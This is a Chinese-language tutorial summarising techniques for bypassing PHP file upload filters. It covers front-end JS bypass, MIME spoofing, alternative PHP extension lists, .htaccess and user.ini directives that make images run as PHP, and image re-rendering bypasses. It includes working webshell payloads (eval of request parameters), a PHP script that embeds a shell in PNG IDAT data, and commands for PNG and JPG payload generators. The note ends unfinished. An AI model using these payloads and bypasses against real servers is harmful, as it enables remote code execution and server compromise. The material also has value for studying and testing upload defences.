文件上传方式总结

文件上传漏洞


文件上传函数

PHP中 使用 move_uploaded_file()函数来上传文件,该函数的语法格式如下:

1
bool move_uploaded_file ( string ``$filename` `, string ``$destination` `)

move_uploaded_file()函数是将上传文件储存到指定位置。如果成功,那么就会返回true,否则返回false。 参数 filename是上传文件的临时文件名,就是$S_FILES[tem_name];参数 destination 是上传后保存的新的路径和名称。

前端js绕过

修改js 或 使用burpsuite 修改上传名

或是使用sources调试 ,修改js

操作方式:

找到过滤的js代码, 将整个函数复制粘贴并修改, 在consles控制台回车即可

服务器对MIME信息检测

修改Content-Type

1
image/jpeg  image/png  image/gif

后缀黑名单过滤

修改为 其他不常见后缀名 , 或利用大小写绕过

1
".php5",".php4",".php3",".php2",".php1",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1"
  • 上传不常见的PHP扩展名来绕过黑名单
1
pht, phpt, phtml, php3, php4, php5, php6,php7
  • 大小写绕过
1
pHp, Php, phP

配置文件解析绕过

Apache: 通过上传.htaccess文件使得.jpg等后缀文件被php解析

1
AddType  application/x-httpd-php    .jpg
1
2
3
<FilesMatch "s.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

Nignx:

1
2
user.ini内容为:auto_prepend_file=12.jpg //在页面顶部加载文件
user.ini内容为:auto_append_file=12.jpg //在页面底部加载文件

注意事项:user.ini文件一段时间后生效(5分钟左右)

条件竞争

二次渲染

二次渲染, 参照国光大佬博客的 文件上传总结

imagecreatefrom 系列渲染图片都可能被绕过,有些特殊的图马是可以逃避过渲染的

GIF

渲染前后的两张 GIF,没有发生变化的空白数据部分直接插入Webshell即可

image-20211121124424741

制作好的图片马 , <?php eval($_REQUEST[1]);?>

PNG

PNG 可以将数据写入到 PLTE 数据块 或者 IDAT 数据块

PLTE 数据块

关于实现细节以前乌云知识库的一篇文章写的很详细,感兴趣的朋友可以阅读看看:

WooYun 乌云 - php imagecreatefrom* 系列函数之 png

写入 PLTE 数据块并不是对所有的 PNG 图片都是可行的,实验证明只有索引图像才可以成功插入 payload,灰度和真彩色图像均以失败告终。

修改索引图像插入 PHP 代码的脚本项目地址为:Github - poc_png.py

因为值有索引图像的 PNG 才可能插入 PLTE 数据块,但是我们上面准备的 PNG 并不符合要求,得需要在 PS 里面将图片模式修改为索引颜色

1
python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png

IDAT 数据块

写入IDAT数据 进行绕过, 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./shell.png');
?>

JPG

在 github 很容易就能找到这样的项目

项目地址Github - lackFan/jpg_payload

准备一个 jpg 图片:

1495711556

建议在Linux 下环境运行, windows 下容易报错, 且需要 开启一个拓展

1
php jpg_payload.php 1.jpg

得到新图片, payload: <?php @eval($_POST[1])?>

未完待续…..